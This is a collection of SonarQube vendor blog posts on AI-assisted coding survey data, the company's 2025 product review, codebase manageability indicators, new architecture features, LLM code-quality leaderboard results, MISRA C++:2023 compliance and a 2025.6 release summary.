The era of experimenting with AI on the weekends is over. AI-assisted coding has officially become a standard part of the professional workflow.

Our data shows that 72% of developers who have tried AI coding tools now use them every day.

This isn't just about chatting with a bot to debug an error message. It represents a fundamental shift in how software is being built. Developers report that 42% of the code they commit is currently AI-generated or assisted.

This volume is only going to grow. Developers predict that the share of AI-generated code in their codebase will increase by over half by 2027.

AI is being used for everything, everywhere

Many believe that AI is only used for experimentation, prototypes or side projects. Our survey indicates that AI has moved far beyond that, permeating every layer of software development.

Developers are using AI across the entire gamut of projects:

88% use it for prototypes and proofs of concept
83% use it for internal, non-critical production software
73% use it for customer-facing applications
58% use it for business-critical or mission-critical services

This broad adoption suggests that organizations are no longer dipping their toes in the water; they have jumped in headfirst.

There is a gap between usage and effectiveness

While usage is high, effectiveness varies significantly depending on the task. We found a distinct gap between how often developers use AI for a task and how effective they actually find it.

For instance, the most common use case for AI is assisting with new code development, with 90% of developers using it for this purpose. However, only 55% of those users rated AI as "extremely or very effective" for that specific task. Similarly, while 72% use AI for refactoring, only 43% find it highly effective.

Where does AI truly shine? According to developers, AI performs best when it is working with existing context or generating boilerplate materials. The highest effectiveness ratings went to:

Writing documentation (74% effective)
Explaining or understanding existing code (66% effective)
Generating tests (59% effective)

Developers are pragmatic. They view AI as a powerful "explainer" and "prototyper," but they still see gaps in its ability to handle the nuanced, complex work of refactoring or maintaining mission-critical systems without close supervision. This gap between high usage and selective effectiveness isn't just about features—it's about confidence. When the stakes are high, how much do developers really trust the code AI generates?

Read the full report

This is just the beginning of the story. The full State of Code Developer Survey report dives deeper into the consequences of this shift, including the emerging "verification bottleneck," the impact on technical debt, and the surprising split in attitudes between junior and senior developers.

Download the full report here

Vibe, then verify: SonarQube 2025 year in review

Manish Kapur — Thu, 08 Jan 2026 14:00:00 GMT

TL;DR overview

SonarQube's 2025 year in review covers a landmark year for the platform, with major releases delivering AI Code Assurance, the SonarQube MCP Server, and the General Availability of SonarQube Advanced Security featuring SCA and advanced SAST.
Key milestones include the launch of AI CodeFix (generally available), support for AI-native IDEs including Cursor, Windsurf, and Kiro, and the introduction of agentic analysis capabilities for autonomous AI coding workflows.
The year also saw the 2025.1 LTA release and expanded compliance coverage including MISRA C++:2023, OWASP Mobile Top 10, and CWE Top 25 2024, addressing both safety-critical and modern application security requirements.
SonarQube now analyzes over 750 billion lines of code daily for more than 7 million developers and 400,000 organizations, maintaining its position as the industry standard for automated code review.

Welcome to 2026.

As we look back at the year we just closed, one thing is clear: 2025 was the year of acceleration. Development teams moved faster than ever. Today, an average of 42% of all committed code is AI-generated or assisted —a volume driven by tools like Cursor, which now writes nearly a billion lines of accepted code daily. While code is being generated at breakneck speeds, organizations are discovering that speed doesn't always equal value.

This is the "engineering productivity paradox". Despite the massive volume of AI-generated code, real engineering velocity often increases by only a fraction because of a new bottleneck—verification. Whether you call it "vibe coding" or AI-assisted development, the shift to high-velocity creation makes it mission-critical to ensure all code—developer-written and AI-generated—is high-quality, secure, and production-ready.

In Sonar, our mission in 2025 was to solve this verification gap. We didn't just add AI features; we expanded our platform to ensure that increased velocity never comes at the cost of code health—redefining software quality through a focus on AI trust, agentic remediation, LLM research, supply chain security, architecture management, and integrated SDLC governance.

We’ve also learned that SonarQube users are already reaping the benefits from our investments in these areas. SonarQube users are 24% more likely to report lower vulnerability rates, 20% more likely to report lower defect rates, and 16% more likely to report lower technical debt impacts from AI-generated or assisted code.

Throughout the year, we delivered on this mission by:

1. Addressing the AI productivity paradox

Last year, we recognized that securing AI code requires more than just a final scan. You need to secure the entire lifecycle—from the point of creation by LLMs to the PR push.

Better data, better models (SonarSweep): We announced SonarSweep (currently in early access) to tackle the root cause of AI hallucinations and bugs: the training data. To prove it, we released SonarSweep-java-gpt-oss-20b on Hugging Face, a fine-tuned version of OpenAI’s gpt-oss-20b. By training on just 70k Java examples processed by SonarSweep, we achieved a ~41% reduction in bugs and security vulnerabilities compared to the base model, without sacrificing functional correctness.
Empowering the agents (SonarQube MCP Server): We introduced the SonarQube MCP Server, a critical bridge connecting our analysis engine directly to AI agents. Now, tools like Claude Code, Cursor, and Windsurf can "consult" SonarQube to verify code safety in real-time, before a human ever reviews it.
Verifying the output (AI Code Assurance): We brought AI Code Assurance to our platform to provide the necessary guardrails for AI coding assistants in every PR. This ensures that increased velocity does not come at the cost of code health.

2. Powering the agentic future

We aren’t just watching the rise of autonomous agents—we are building the platform to power them.

SonarQube Remediation Agent: Our acquisition of AutoCodeRover was a strategic leap toward the next frontier of software quality. This technology is the core engine behind our SonarQube Remediation Agent (currently in beta), which will move beyond simply finding issues to actively fixing them—autonomously and securely.
Sonar Foundation Agent: We announced the Sonar Foundation Agent, a tool-calling coding agent built on the LlamaIndex framework by the former AutoCodeRover team to resolve software issues iteratively. By adopting an autonomous, test-driven "free workflow" rather than prescriptive prompts, we boosted its efficacy from 58% to 75% on SWE-bench Verified.

3. Understanding code and LLMs

As AI models become permanent members of the development team, we need to understand how they learn from and affect the strengths and weaknesses of our code.

Our ongoing LLM research provides the industry with its first independent analysis of code reliability, maintainability, complexity, and security, based on over 4,400 distinct Java coding assignments. The results are eye-opening:

LLM leaderboard: To help teams choose the right partner for their code, we launched the Sonar LLM leaderboard. This resource provides an independent analysis of code reliability, maintainability, complexity, and security across leading models—including GPT-5.2 High, GPT-5.1 High, Gemini 3.0 Pro, Opus 4.5 Thinking, and Claude Sonnet 4.5. By uncovering the unique "personalities" and specific security blind spots of these LLMs, we provide the actionable code intelligence you need to verify AI output effectively and maintain high code quality.
State of Code reports: We launched the State of Code, a new report series sharing data-driven insights from our unique understanding of code. This research explores the most common issues lurking in codebases and helps teams understand why critical bugs and vulnerabilities are often missed.

4. Securing the total supply chain

Modern applications are a complex mix of proprietary logic and open-source components. In 2025, we made strategic moves to secure every piece of that puzzle.

SonarQube Advanced Security: We launched SonarQube Advanced Security as a developer-first solution to protect your entire software supply chain. It provides integrated security for first-party, AI-generated, and third-party open source code by combining advanced SAST with Software Composition Analysis (SCA).
Unified SAST, IaC scanning, and SCA: These capabilities are fully integrated into SonarQube Cloud Enterprise, as well as SonarQube Server Enterprise and Data Center Edition 2025.3 and later. This unified approach gives teams a single view of their security posture and eliminates blind spots between different code sources.
Expanded secrets detection: Preventing the accidental exposure of sensitive credentials is a critical part of supply chain security. Our secrets detection engine now includes an expanded library of over 400 secret patterns to identify API keys, passwords, and security tokens across your codebase. By integrating these checks directly into SonarQube for IDE and your CI/CD pipeline, we prevent leaked secrets from ever reaching your repository and causing a serious security breach.

5. Managing code architecture

Software architecture is the modular foundation of maintainable code, yet it is under significant pressure in the AI era. High-velocity code production increases the risk of architectural drift—where the gap between your intended design and the actual implementation grows, making the codebase harder to navigate and maintain.

We launched new architecture management capabilities in beta to help teams maintain structural control. Both human developers and AI agents require architectural context to ensure they are building for long-term health rather than solving isolated, immediate tasks.

Formalizing the blueprint: SonarQube allows teams to define an intended architectural blueprint, specifying how components should be layered and which dependencies are permitted.

Continuous verification: Our engine analyzes the actual state of your project from the code, continuously verifying implementation against your blueprint.
Actionable architectural intelligence: Rather than relying on static diagrams, SonarQube surfaces architectural violations as code-level issues. By integrating these checks into developer workflows and quality gates, we ensure architectural standards are maintained with every pull request.

By treating architecture as a living part of the development lifecycle, we empower your teams to turn high-volume AI output into a sustainable advantage without accumulating architectural debt.

6. Scaling trust through integrated SDLC governance

Governance and integration within the SDLC should not be a roadblock—they should be the foundation. In October, we launched the Sonar Integration Program to embed code quality and security directly into the tools that drive your business.

We are now deeply integrated into the enterprise ecosystem of the following:

AI development & modern IDEs: Empowering the next generation of development with real-time feedback in tools like Google Gemini, Cursor, Windsurf, Claude, Codex CLI, Amazon Q, and GitHub Copilot.
Atlassian Jira: Transforming technical debt from invisible risks into trackable backlog items with Jira integration.
JFrog: Enabling "DevGovOps" by using signed evidence to block non-compliant builds from production.
Port & Jellyfish: Surfacing code health metrics directly in Internal Developer Portals (IDPs) Port and Jellyfish engineering management platforms.

Ready for 2026

2025 was the year we accelerated together. We experienced this momentum alongside our customers, witnessing massive adoption and growth driven by continuous product innovation. Through strategic acquisitions, the appointment of our new CPO Ori Yitzhaki, and a broadened platform, Sonar evolved to meet the demands of an AI-driven world. We didn't just keep pace with the industry—we are at the forefront, building the guardrails and platform that enable you to turn the explosion of AI-generated volume into a sustainable competitive advantage.

This year also marked an accelerated shift toward a single, integrated SonarQube platform for code quality and code security that is engineered to support both human developers and AI tools as they work in synergy. To solve the engineering productivity paradox, we must grant our teams the freedom to vibe—to experiment with AI and create at an unprecedented pace—while maintaining the accountability to verify. This isn’t about adding more manual checkpoints; it’s about building automated guardrails directly into the workflow.

Now, as we step into 2026, our focus remains clear: enabling you to innovate with speed, and release with confidence. Whether your code is written by a developer, generated by an agent, or imported from the open-source community, Sonar is here to ensure it is high quality, secure, and production ready.

Ready to modernize your verification strategy? Explore SonarQube or try the new MCP Server today.

Seven indicators your codebase is unmanageable

Robert Curlee — Fri, 19 Dec 2025 14:00:00 GMT

TL;DR overview

Seven indicators signal that a codebase has become unmanageable: increasing cyclomatic complexity, pervasive code duplication, low cohesion, unexpected ripple changes from high coupling, high bug density, security vulnerability accumulation, and rising developer turnover.
Code manageability is quantifiable—SonarQube measures cyclomatic complexity, duplication rates, coupling metrics, and reliability ratings, transforming subjective assessments of code health into objective, actionable data.
Unmanageable codebases are expensive beyond maintenance cost: developers frustrated by high-debt code leave teams, converting understood technical debt into opaque debt that is even more costly to resolve.
The first step toward manageability is measurement: SonarQube's reporting surfaces specific modules driving unmanageability, enabling engineering leaders to prioritize refactoring investment where it reduces the most risk per unit of effort.

Unmanaged code quality issues evolve from a tactical nuisance into a systemic liability, crippling engineering productivity. This deterioration manifests as a measurable "velocity tax," where developers spend as much as 84% of their time on maintenance and remediation rather than new feature development, leading to up to 50% slower service delivery.

This article outlines seven indicators of an unmanageable codebase and details how continuous, automated code review using SonarQube provides the mandatory data metrics for diagnosis, quantitative prioritization, and remediation, transforming the management of code quality issues from a severe burden into a strategic investment.

The financial and technical burden of decay

Code manageability is not subjective; it is a quantifiable state defined by characteristics such as readability, modularity, and simplicity. When these traits decay, they drive up complexity, increase the cost of change, and ultimately lead to product obsolescence or business collapse.

Furthermore, unmanageable code creates a growing problem in software engineering teams as developers grappling with high debt experience frustration and increased turnover. This attrition results in developers with the knowledge of the code leaving teams, transforming existing, understood debt into high-interest, opaque debt that is even more difficult to resolve. This confirms that code quality is directly linked to organizational stability and talent retention.

The seven signs of an unmanageable codebase

Codebase unmanageability can be diagnosed through seven primary indicators, which manifest across complexity, structure, volatility, and security:

Increasing overly complex code logic: Cyclomatic complexity measures the number of independent paths through source code and is the foundational metric for predicting maintenance difficulty. Unchecked, rising cyclomatic complexity correlates directly with increased cognitive load, guarantees prolonged bug fixes, and is increasingly difficult to test for quality.
Pervasive low cohesion and code duplication: Low cohesion is a result of components that are too large and serve too many unrelated functions, making maintenance extremely difficult and risky. Code duplication also poses a significant risk as a single code change needs to be made in multiple different places.
Changes that unexpectedly ripple across the codebase: High coupling is when components are highly interdependent on each other. A symptom of high coupling can be seen when a change in one component results in many other required small modifications elsewhere in the code. This rippling effect of changes throughout the code is dangerous because it increases the risk of inconsistent updates, which directly drives up the Change Failure Rate.
Critical undocumented or untouchable code sections: Sometimes mission-critical modules become so opaque or complex that modifying them is deemed too risky. These code sections become “untouchable” because teams are afraid to modify them for fear of breaking something, causing organizational paralysis. These untouchable code sections come from failure to share knowledge in teams, lack of documentation, or the departure of key developers with critical knowledge and can often be identified by a lack of test coverage.
High defect density and cycles resulting in more bugs: While high bug density (defects per 1,000 LOC) signals low quality, the defining sign of structural failure is when bug fixes consistently introduce new, unintended software bugs. A rising Mean Time To Recovery (MTTR) is a key DORA metric that indicates faults are coming from complex, highly coupled, and undocumented areas in your code.
Persistent code churn in historically stable areas: Code churn is a measure of change frequency. Elevated, persistent churn in core, stable modules is a reliable predictor of post-release defects. When high churn combines with high defect density, it confirms that frequent changes are actively introducing more defects.
Correlated security vulnerabilities and self admitted technical debt: Technical debt significantly heightens security liability. Self-Admitted Technical Debt is when developer comments note a sub-optimal design, which serves as an unmanaged, internal audit trail detailing potential security flaws that map directly to severe MITRE Top-25 weaknesses.

SonarQube: the quantitative solution

Mitigating technical debt requires transitioning from anecdotal assessment to a continuous, data-driven strategy using mandated static code analysis. SonarQube provides a single, comprehensive coding solution to establish continuous automated code reviews, install quality gates in the SDLC, and operationalize debt remediation.

SonarQube as a diagnostic and quantification engine: SonarQube automates the measurement of the core factors driving unmanageability, thereby transforming technical debt management into a quantitative process through a series of metrics.

SonarQube Metric	Description of the measurement
Reliability	A measure of how your software is capable of maintaining its level of performance under stated conditions for a stated period of time. Bugs in code are the primary issue impacting reliability.
Maintainability	The ease at which code can be modified, improved, and understood. As technical debt increases, the code becomes more difficult to maintain and eventually becomes unmanageable enough that rewrite is necessary. Code smells are issues that impact maintainability.
Security	Poor code quality can result in security vulnerabilities such as improper handling or validation of user input which can lead to injection vulnerabilities. Security hotspots are areas of code that are at risk of being exploited and require validation.
Code test coverage	The percentage of lines of code that are covered by unit testing indicate code quality and code ecurity. The higher percentage of code coverage means that a high amount of code is validated to perform as expected. This metric is especially useful for new code so teams can ensure the rate of coverage isn’t negatively impacted as they check in the new code.
Duplications	Various measurements are provided to understand the quantity of duplications and their density in new code and overall code. Like code coverage, monitoring these helps teams keep a handle on duplicated logic in code.
Cyclomatic complexity	A measurement of how many passes are made through the code for each function or method. The higher the number the more passes and the higher the complexity. All functions should have a minimum of one pass, medium complexity is over 10 passes, and high complexity is greater than 20 passes.
Cognitive complexity	A qualification of how hard it is to understand a segment of code. Sonar has a Cognitive complexity white paper covering the mathematical model Sonar uses for calculating how difficult it is to understand code.
Quality gate	SonarQube includes quality gates at various steps in the Software Development Life Cycle (SDLC) that includes metrics ratings, issue counts, issue severities, and pass-fail results. These gates help teams manage their code health providing continuous code health feedback as developers write and commit code. Only code that meets a company’s set standards for code is allowed to be merged.

By leveraging SonarQube, teams receive detailed, actionable feedback with severity levels, enabling developers to prioritize cleanup. This quantitative approach is essential for restoring modularity and preventing complexity from causing excessive code churn. SonarQube’s documentation covers the details of the provided measures and metrics to help you monitor code health.

Strategic governance and velocity restoration

The technical data generated by SonarQube must be translated into business governance and cultural improvements to drive actual velocity.

Refactoring and standardization: The analysis provided by SonarQube allows engineering teams to strategically prioritize resource allocation by focusing on the highest-risk areas and new code to prevent new issues from entering your codebase. A good remediation strategy must move quickly to fix issues and maintain continuous improvement. Furthermore, SonarQube enforces standardization, which is essential for code uniformity, addressing a key component of maintainability.

Linking quality to business outcomes (DORA metrics): By continuously measuring and addressing the issues flagged by SonarQube, organizations can directly improve core DORA metrics, validating the return on investment for code quality:

Mean Time To Resolve (MTTR) Bugs: Reducing complexity and coupling (Indicators 1, 2, 4) directly lowers MTTR, confirming that structural issues are being resolved.
Change Failure Rate (CFR): Addressing fragility and architectural decay (Indicators 3, 6) reduces CFR, quantifying system stability.
Lead Time for Changes: Restoring maintainability by eliminating debt directly counteracts the "velocity tax" and accelerates time-to-market.

Ultimately, proactive refactoring guided by quantitative tools like SonarQube is a necessary investment in knowledge stewardship, mitigating risk and preventing developer attrition associated with frustration. A commitment to continuous quality monitoring is functionally synonymous with speed and sustained market leadership.

Introducing architecture in SonarQube

Olivier Gaudin — Tue, 16 Dec 2025 14:00:00 GMT

TL;DR overview

SonarQube introduces architecture management features that visualize real component dependencies and flag violations of intended structural rules, making architectural drift visible and actionable.
Teams can explore dependency graphs at the module and package level, identifying unintended coupling that increases change risk and makes codebases harder to evolve.
Architecture insights are surfaced alongside quality and security findings, enabling a unified view of code health that includes structural integrity—not just line-level bugs and vulnerabilities.
This feature helps engineering leaders make data-driven decisions about refactoring priorities by quantifying coupling and dependency complexity across the entire codebase.

For years, Sonar has championed code quality, to make software more maintainable, reliable, and secure. We help millions of developers review and improve their code every day. Today, we are announcing a transformative step forward to help teams manage their software at a higher level, with the addition of architecture capabilities in SonarQube.

A foundation for healthy software

Software architecture is not merely an abstract concept; it is essential in determining how systems function and evolve. Architecture consists of the project structure: how the software is organized into distinct components, the relationships between those components, and the design governing their interactions. Good architecture is modular and transparent. It ensures code changes are localized and have a limited impact on the rest of the application.

Conversely, neglecting software architecture in your project leads directly to the erosion of the coherency of the codebase. The impact of this drift on development is insidious and severe. As architectural drift increases, software evolution becomes harder, and developer productivity stalls. Without tooling to help manage software architecture, teams will fail to stop erosion, will realize this too late, and struggle to fix it. This leads to a situation where changes to the application become so expensive, rewriting it is the only solution. This massive undertaking impedes innovation and slows down time to market.

Why architecture matters even more in the era of AI

While architecture has always been fundamental, the need for high-level clarity is becoming urgent due to the increasing volume and velocity of code production. Codebases are already inherently complex, composed of numerous components and their dependencies. As developers leverage AI coding assistants to solve specific tasks, they risk missing the “big picture” of the overall system, accelerating its erosion.

For this reason, as we move into an era of agent orchestration, humans and agents need to understand the constraints and direction of their architecture. They need to ensure they are delivering on the promises of accelerating software development, not just solving the immediate need. We believe Sonar can help ground these new workflows in sound architectural information, empowering developers and agents to build with confidence.

What architecture capabilities are we adding to SonarQube?

We believe the software industry needs a definitive, simple, and accessible solution for teams to manage their project architecture. With the beta launch of the new architecture capabilities in SonarQube, we are providing a practical approach for teams to understand the actual code structure of their projects, formalize their intended architecture, and manage the gaps.

SonarQube is the only solution in the market that is able to provide these architectural capabilities, at scale, across hundreds of thousands of codebases. They are designed to help you govern software architecture through four key features:

1. Discover

SonarQube produces an accurate picture of your project’s architectural state by reverse-engineering it from the code. It helps teams quickly understand the current structure and relationships of components at all levels. The current architecture serves as the ground truth for developers and provides the necessary context for AI agents.

2. Formalize

You can formally define your target structure for new and existing components, along with their relationships to other components. This intended architecture serves as the blueprint for developers to follow while coding. Configuring the intended architecture can be done incrementally with a minimum upfront time investment. You can start defining high-level components and build toward more detail over time, providing flexibility for different project needs.

3. Prioritize

SonarQube performs automated reviews against your established architectural blueprint, finding gaps even with just a few architecture decisions initially configured. These deviations are automatically detected where the actual code differs from the defined intent. SonarQube also avoids representing the same issue in multiple dimensions. This enables teams to prioritize and tackle the root problem.

4. Fix

Architectural problems are broken down into code level issues that are surfaced as actionable input in the existing developer workflow. These issues show up in the quality gate, avoiding further erosion. This ensures timely resolution before architectural drift compounds. SonarQube tracks remaining gaps and progress in detail.

A first step

In summary, these new architecture capabilities in SonarQube enable developers and AI agents to leverage the current architecture as context to write the right code, and the intended architecture to write the code right. This ensures the software remains modular and maintainable, ready to evolve continuously and cost-effectively.

This is, of course, a beta, so expect it to evolve quickly as we receive feedback. That said, we believe it is a solid foundation that already generates significant value for development teams. It is available on SonarQube Cloud for now (SonarQube Server will come later), supporting Java, JavaScript, Typescript, Python, and C#.

Now that the beta is live, you can request access at any time.

Enjoy!

New data on code quality: GPT-5.2 high, Opus 4.5, Gemini 3, and more

Prasenjit Sarkar — Mon, 15 Dec 2025 14:00:00 GMT

TL;DR overview

Sonar's latest LLM code quality analysis—run across 4,000+ Java tasks—finds GPT-5.2 High achieves the best security posture (16 blocker vulnerabilities per MLOC) but generates the highest code volume (974,379 LOC), creating significant maintainability burden.
Claude Sonnet 4.5 produces 198 blocker vulnerabilities per MLOC including path traversal and injection flaws, while Opus 4.5 Thinking reduces this to 44 per MLOC, suggesting reasoning mode meaningfully improves security constraint verification.
Code smells dominate across all models—accounting for 92–96% of all detected issues—confirming that maintainability is a universal cost of AI-generated code at scale.
Results are available on the Sonar LLM Leaderboard, giving engineering leaders transparent quality data to inform AI model selection.

Functional benchmarks remain a standard for evaluating AI models, effectively measuring whether generated code can pass a test case. As LLMs evolve, they are becoming increasingly proficient at solving these functional challenges. However, for engineering leaders deploying this code into production, functional correctness is only half of the equation.

To understand the real effectiveness of AI coding models, we need to understand its structural quality, security, and maintainability as well. Thankfully, Sonar is an excellent position to do this work as we analyze over 750 billion lines of code each day.

Several months ago, we began analyzing the quality, security, and maintainability of the code created with leading LLMs by testing them on over 4,000 distinct Java programming assignments using the SonarQube static analysis engine.

Today, we are making all evaluations available in a new Sonar LLM leaderboard and sharing our latest findings on GPT-5.2 High, GPT-5.1 High, Gemini 3.0 Pro, Opus 4.5 Thinking, and Claude Sonnet 4.5.

Explore the new data on the Sonar LLM Leaderboard

Visualizing the trade-offs

To understand the trade-offs and behaviors of different models, we plotted them on three critical dimensions: pass rate (X-axis), cognitive complexity (Y-axis), and verbosity (bubble size).

As models become more “performant” and move to the right, their outputs tend to get more verbose and complex, imposing higher burdens on engineers reviewing and using the code.

The complexity correlation

Our research highlights a correlation between model reasoning capabilities and code complexity. As models attempt sophisticated, stateful solutions to harder problems, they often move away from simple code. This shift introduces engineering challenges that are harder to detect than simple syntax errors.

For example:

Opus 4.5 Thinking leads in functional performance with an 83.62% pass rate (thus it is furthest to the right in the chart above). However, this performance comes with high verbosity, generating 639,465 lines of code (LOC) to solve the benchmark test (which is why it is one of the largest bubble sizes on the chart). This is more than double the volume of less verbose models.
Gemini 3 Pro stands out as an efficiency outlier. It achieves a comparable 81.72% pass rate while maintaining low cognitive complexity and low verbosity (small bubble size). This combination suggests a unique ability to solve complex problems with concise, readable code. But Gemini has the highest issue density in contrast to the other recent models.
GPT 5.2 High ranks third in functional performance (80.66%), trailing Opus 4.5 and Gemini 3 Pro. Despite the high pass rate, it generated the highest code volume of the cohort (974,379 LOC). Compared to its predecessor (GPT 5.1 High), GPT 5.2 shows regressed maintainability and increased bug density across all severities, though it demonstrates marginal improvements in overall security and blocker-level vulnerabilities.
GPT-5.1 High also achieves an 80% pass rate but exhibits an increase in cognitive complexity (high placement on the Y-axis). This indicates that while it solves the problem, it generates logic that is structurally more difficult to read and maintain.

Engineering discipline and reliability

While models demonstrate strong logic capabilities, our analysis reveals distinct patterns in how they handle software engineering fundamentals like resource management and thread safety. Contextualizing these numbers reveals significant disparities in reliability between models that otherwise have similar pass rates.

1. Concurrency challenges: GPT-5.2 High demonstrates powerful reasoning but is more prone to concurrency errors than its peers. It generates 470 concurrency issues per million lines of code (MLOC) —a rate nearly double that of the next closest model and over 6x higher than Gemini 3 Pro.

Model	Concurrency issues per MLOC
GPT 5.2 High	470
GPT-5.1 High	241
Opus 4.5 Thinking	133
Claude Sonnet 4.5	129
Gemini 3 Pro	69

2. Resource management: Claude Sonnet 4.5 showed a higher rate of resource management leaks, generating 195 leaks per MLOC. By comparison, GPT-5.1 High produced only 51 leaks per MLOC for the same tasks.

Model	Resource leaks per MLOC
Claude Sonnet 4.5	195
GPT 5.2 High	86
Opus 4.5 Thinking	84
Gemini 3 Pro	79
GPT-5.1 High	51

3. Control flow precision: Gemini 3 Pro posted the highest rate of control flow mistakes (200 per MLOC), nearly 4x higher than Opus 4.5 Thinking (55 per MLOC). GPT 5.2 High demonstrated high precision, achieving the lowest error rate in the cohort at just 22 control flow mistakes per MLOC.

Model	Control flow mistakes per MLOC
Gemini 3 Pro	200
Claude Sonnet 4.5	152
GPT-5.1 High	98
Opus 4.5 Thinking	55
GPT 5.2 High	22

Security verification

Security remains a critical area for verification. Our analysis confirms that models do not always reliably track untrusted user input from source to sink.

Claude Sonnet 4.5 registered 198 blocker-severity vulnerabilities per MLOC, including path traversal and injection flaws. This rate is higher than other models in its class. Opus 4.5 Thinking performed significantly better with only 44 blockers per MLOC, suggesting its “thinking” process may allow for better verification of security constraints before generating output. GPT 5.2 High achieved the best security posture in the cohort, with only 16 blocker vulnerabilities per MLOC. While other metrics showed this model struggles with code volume and general bug density, its handling of critical security hotspots is currently best-in-class.

Model	Blocker vulnerabilities per MLOC
Claude Sonnet 4.5	198
Gemini 3 Pro	66
GPT-5.1 High	53
Opus 4.5 Thinking	44
GPT 5.2 High	16

The challenge of maintainability

Beyond critical bugs, maintainability remains a primary factor in the total cost of ownership for AI code. “Code smell” issues, which degrade maintainability, accounted for 92% to 96% of all detected issues across the models evaluated.

GPT-5.1 High generated over 4,400 generic smells per MLOC.

Model	Generic smells per MLOC
GPT-5.1 High	4426
GPT 5.2 High	3453
Gemini 3 Pro	3044
Claude Sonnet 4.5	2551
Opus 4.5 Thinking	2225

Claude Sonnet 4.5 bypassed more design best practices.

Model	Design best practice violations per MLOC
Claude Sonnet 4.5	4316
Gemini 3 Pro	3824
Opus 4.5 Thinking	2494
GPT 5.2 High	2293
GPT-5.1 High	1840

About the Sonar LLM Leaderboard

We created the Sonar LLM Leaderboard to provide transparency into how models build code, not just what they build. By running thousands of AI-generated solutions through SonarQube, we evaluate models on the metrics that matter to engineering leaders: security, reliability, maintainability, and complexity.

Explore the complete dataset on the Sonar LLM Leaderboard.

The intelligent approach to achieve MISRA C++:2023 compliance

Robert Curlee — Thu, 11 Dec 2025 14:00:00 GMT

The evolution of safety-critical systems, driven by revolutionary advancements in areas like advanced driver assistance systems and increasingly sophisticated medical devices, demands both peak performance and ironclad reliability. Developers are increasingly relying on modern C++17 features to manage growing complexity and maximize execution efficiency, but this crucial modernization effort must never compromise regulatory compliance obligations and adherence to critical functional safety standards.

The MISRA C++:2023 standard provides the necessary safe set of coding guidelines for C++17, offering a unified framework built upon decades of compliance expertise and integrating updated AUTOSAR best practices. Successful adoption of this essential standard requires an automated code quality and safety review tool that moves beyond mere rule checking, additionally focusing on seamless integration, high precision, and minimizing workflow friction for software development teams.

The mandate for modernization and unified compliance

Functional safety standards such as ISO 26262 and IEC 62304 universally require the adoption of defined coding guidelines across the automotive industry, making rigorous MISRA C++:2023 compliance a non-negotiable part of the regulated software development lifecycle. The standard aligns fully with C++17, safely supporting modern, high-value features such as structured bindings and the protected use of atomic types, which are critical for complex, multithreaded embedded applications. SonarQube now includes complete coverage of the 179 MISRA C++:2023 guidelines, ensuring development teams meet full compliance of the standard.

Eliminate developer friction with high-precision analysis

One of the most common challenges with traditional static analysis tools is the issue of high false positive rates, which leads to developer mistrust and developer friction from having to deal with falsely identified issues in source code. Engineering teams can become overwhelmed trying to justify their code against false positives.

SonarQube directly addresses this liability by incorporating advanced high-precision analysis leveraging deep semantic understanding to analyze complex data and logic flows and distinguish true safety violations from benign coding patterns. This highly accurate deterministic approach to finding issues in code substantially reduces noise and avoids shifting results, ensuring that the team’s valuable time is focused on resolving real and consistent coding issues, guaranteeing that the compliance checks are trusted by the teams that rely on SonarQube’s results for certification evidence.

MISRA C++:2023 and the "start left" secret to efficiency

With the rise of AI-assisted development, ensuring compliance with rigorous standards like MISRA C++:2023 at pace has become more challenging than ever. Many teams still treat compliance as a necessary evil—a slow, painful checkpoint late in the development cycle that often introduces frustrating rework and delays the release.

The solution is not to slow down but to start left. SonarQube shifts compliance all the way to the beginning of the SDLC by embedding the power of our enterprise-grade analysis directly into the developer's local environment through SonarQube for IDE. As a developer, the second you write a line of code that violates a MISRA guideline, you see an immediate flag, complete with clear guidance and contextual help on why the issue is harmful and how to fix it. This proactive, real-time coaching transforms compliance from a bottleneck into a continuous learning opportunity, drastically reducing the cost of finding and fixing safety and quality issues later in the SDLC.

Ensure compliance at enterprise scale

Compliance is inherently an organizational challenge, requiring a scalable, flexible toolchain that integrates seamlessly into modern, distributed development workflows common across global enterprises. SonarQube supports continuous, automated compliance checks directly within feature branches and pull requests with your CI/CD pipeline, enforcing guidelines proactively at the most productive point in the development cycle. By maximizing automation and minimizing reliance on costly manual reviews, SonarQube ensures that the compliance process is not only robust and auditable but also optimally efficient for the largest engineering organizations across the automotive industry and medical devices sectors.

Conclusion

Successful compliance with the MISRA C++:2023 standard is essential for any organization building next-generation mission-critical and safety-critical applications with C++17. SonarQube acts as a trusted collaborator, enabling critical technological modernization while simultaneously reducing the inherent friction of regulatory compliance. It delivers the required precision, deep SDLC integration, and verifiable assurance, enabling teams to deliver safe, high-quality, and fully certified software faster than ever before. Check out our SDLC Compliance Checklist for a helpful guide.

Full compliance capability with the MISRA C++:2023 standard is now available in SonarQube Server 2025.6 Enterprise and Data Center editions.

SonarQube Server 2025.6 is here: Vibe, then verify faster than ever

Robert Curlee — Thu, 11 Dec 2025 14:00:00 GMT

TL;DR overview

SonarQube Server 2025.6 delivers up to 40% faster analysis for JavaScript/TypeScript, 58 new quick fixes in the IDE for JS/TS, and full SAST and secrets detection support for Swift (5.9 to 6.2).
The release introduces Jira Cloud and Slack integrations to accelerate issue remediation workflows, reducing the context-switching overhead of managing code issues and project tickets in separate tools.
Advanced Security enhancements include SBOM import support for CycloneDX and SPDX formats, enabling comprehensive dependency visibility for components that SonarQube did not analyze directly.
New compliance coverage adds Python 3.14 support, PyTorch AI/ML assurance, Go code quality rules, Shell/Bash code quality and security analysis, and completes full MISRA C++:2023 coverage with all 179 rules.

AI has shifted the development bottleneck from writing code to verifying it. Ensuring that code is reliable, secure, and maintainable is now the most critical step in the software development lifecycle. SonarQube Server 2025.6 accelerates this verification process, embedding it directly into your daily workflow. With deeper integrations, dramatically faster analysis, and expanded language support, this release empowers your team to embrace a "vibe, then verify" philosophy and ship with confidence.

2025.6 at a glance

Accelerated workflow: New integrations with Jira Cloud and Slack.
Faster feedback: Up to 40% faster analysis for JavaScript/TypeScript.
Instant fixes: 58 new quick fixes for JavaScript/TypeScript in the IDE.
Modern language support: Full coverage for Swift (5.9–6.2) and Python 3.14.
AI/ML assurance: Efficient analysis for PyTorch, Apex, and Ruby.
Infrastructure coding: New code quality rules for Go and Shell/Bash.
Compliance: Complete coverage for MISRA C++:2023, OWASP Top 10 2025, and STIG V6R3.
Supply chain security: Import CycloneDX and SPDX SBOMs.

Accelerate your team with deep workflow integrations

